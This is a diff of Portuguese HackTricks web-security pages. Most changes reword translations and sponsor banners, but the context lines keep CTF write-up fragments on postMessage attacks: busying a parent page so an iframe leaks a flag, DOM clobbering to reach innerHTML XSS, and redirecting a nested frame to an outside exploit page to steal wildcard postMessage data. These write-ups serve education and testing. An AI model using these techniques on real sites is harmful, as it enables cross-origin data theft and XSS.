* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -14,12 +14,12 @@
|
||||||
|
|
||||||
## Ganhar RCs com Iframes
|
## Ganhar RCs com Iframes
|
||||||
|
|
||||||
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), documentos de blob criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
|
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), os blobs de documentos criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
|
||||||
|
|
||||||
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a **página pai** vai **enviar uma mensagem post** com a **flag**.\
|
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a página **pai** vai **enviar uma mensagem post** com a **flag**.\
|
||||||
No entanto, essa comunicação postmessage é **vulnerável a XSS** (o **iframe** pode executar código JS).
|
No entanto, essa comunicação postmessage é **vulnerável a XSS** (o **iframe** pode executar código JS).
|
||||||
|
|
||||||
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** de permitir que a **página pai envie os dados sensíveis (flag)**, **mantê-la ocupada** e enviar o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá ouvir a **mensagem postmessage da página pai e vazar a flag**.\
|
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** de permitir que a **página pai envie os dados sensíveis (flag)**, **mantenha-a ocupada** e envie o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá ouvir a **mensagem postmessage da página pai e vazar a flag**.\
|
||||||
Finalmente, o iframe executou o payload e a página pai deixa de estar ocupada, então ela envia a flag e o payload a vaza.
|
Finalmente, o iframe executou o payload e a página pai deixa de estar ocupada, então ela envia a flag e o payload a vaza.
|
||||||
|
|
||||||
Mas como você poderia fazer a página pai **ficar ocupada logo após gerar o iframe e apenas enquanto espera o iframe estar pronto para enviar os dados sensíveis?** Basicamente, você precisa encontrar uma **ação assíncrona** que você poderia fazer a página pai **executar**. Por exemplo, nesse desafio a página pai estava **ouvindo** as **postmessages** assim:
|
Mas como você poderia fazer a página pai **ficar ocupada logo após gerar o iframe e apenas enquanto espera o iframe estar pronto para enviar os dados sensíveis?** Basicamente, você precisa encontrar uma **ação assíncrona** que você poderia fazer a página pai **executar**. Por exemplo, nesse desafio a página pai estava **ouvindo** as **postmessages** assim:
|
||||||
|
@ -30,7 +30,7 @@ $("#previewModal").modal();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Portanto, era possível enviar um **número inteiro grande em um postmessage** que será **convertido em string** nessa comparação, o que levará algum tempo:
|
Portanto, era possível enviar um **número inteiro grande em uma postmessage** que será **convertido em string** nessa comparação, o que levará algum tempo:
|
||||||
```bash
|
```bash
|
||||||
const buffer = new Uint8Array(1e7);
|
const buffer = new Uint8Array(1e7);
|
||||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -37,7 +37,7 @@ Se a página fosse **incorporável**, você poderia burlar essa proteção dessa
|
||||||
|
|
||||||
### Bypass SOP 2 (window.origin === null)
|
### Bypass SOP 2 (window.origin === null)
|
||||||
|
|
||||||
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox**, a menos que `allow-popups-to-escape-sandbox` seja definido.\
|
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox** a menos que `allow-popups-to-escape-sandbox` seja definido.\
|
||||||
Portanto, abrir um **popup** a partir de uma **origem nula** fará com que o **`window.origin`** dentro do popup também seja **`null`**.
|
Portanto, abrir um **popup** a partir de uma **origem nula** fará com que o **`window.origin`** dentro do popup também seja **`null`**.
|
||||||
|
|
||||||
### Solução do Desafio
|
### Solução do Desafio
|
||||||
|
@ -81,12 +81,12 @@ document.body.appendChild(f);
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
@ -20,13 +20,13 @@ Neste desafio, o atacante precisa **burlar** isso:
|
||||||
```javascript
|
```javascript
|
||||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||||
```
|
```
|
||||||
Se ele fizer isso, ele pode enviar uma **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem saneamento (**XSS**).
|
Se ele fizer isso, ele pode enviar um **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem saneamento (**XSS**).
|
||||||
|
|
||||||
A maneira de contornar a **primeira verificação** é tornando **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:
|
A maneira de contornar a **primeira verificação** é tornando **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:
|
||||||
|
|
||||||
- **`window.calc.contentWindow`** é na verdade **`document.getElementById("calc")`**. Você pode sobrescrever **`document.getElementById`** com **`<img name=getElementById />`** (observe que a API Sanitizer -[aqui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- não está configurada para proteger contra ataques de sobrescrita de DOM em seu estado padrão).
|
- **`window.calc.contentWindow`** é na verdade **`document.getElementById("calc")`**. Você pode sobrescrever **`document.getElementById`** com **`<img name=getElementById />`** (observe que a API Sanitizer -[aqui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- não está configurada para proteger contra ataques de sobrescrita de DOM em seu estado padrão).
|
||||||
- Portanto, você pode sobrescrever **`document.getElementById("calc")`** com **`<img name=getElementById /><div id=calc></div>`**. Em seguida, **`window.calc`** será **`undefined`**.
|
- Portanto, você pode sobrescrever **`document.getElementById("calc")`** com **`<img name=getElementById /><div id=calc></div>`**. Em seguida, **`window.calc`** será **`undefined`**.
|
||||||
- Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** uma **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o código a seguir
|
- Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** um **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o código a seguir
|
||||||
```javascript
|
```javascript
|
||||||
let iframe = document.createElement('iframe');
|
let iframe = document.createElement('iframe');
|
||||||
document.body.appendChild(iframe);
|
document.body.appendChild(iframe);
|
||||||
|
@ -78,12 +78,12 @@ setTimeout(start, 1000);
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ De acordo com [**este artigo**](https://blog.geekycat.in/google-vrp-hijacking-yo
|
||||||
|
|
||||||
Por exemplo, se abc.com tem efg.com como iframe e abc.com não tem o cabeçalho X-Frame, eu poderia alterar o efg.com para evil.com em uma origem cruzada usando, **`frames.location`**.
|
Por exemplo, se abc.com tem efg.com como iframe e abc.com não tem o cabeçalho X-Frame, eu poderia alterar o efg.com para evil.com em uma origem cruzada usando, **`frames.location`**.
|
||||||
|
|
||||||
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **curinga** como `windowRef.postmessage("","*")`, é possível **alterar a localização do iframe relacionado (filho ou pai) para uma localização controlada pelo atacante** e roubar esses dados.
|
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **coringa** como `windowRef.postmessage("","*")`, é possível **alterar a localização do iframe relacionado (filho ou pai) para uma localização controlada pelo atacante** e roubar esses dados.
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<iframe src="https://docs.google.com/document/ID" />
|
<iframe src="https://docs.google.com/document/ID" />
|
||||||
|
@ -37,12 +37,12 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,12 +4,12 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,12 +20,12 @@ Verifique a seguinte página para ver como **burlar WAFs abusando das inconsist
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
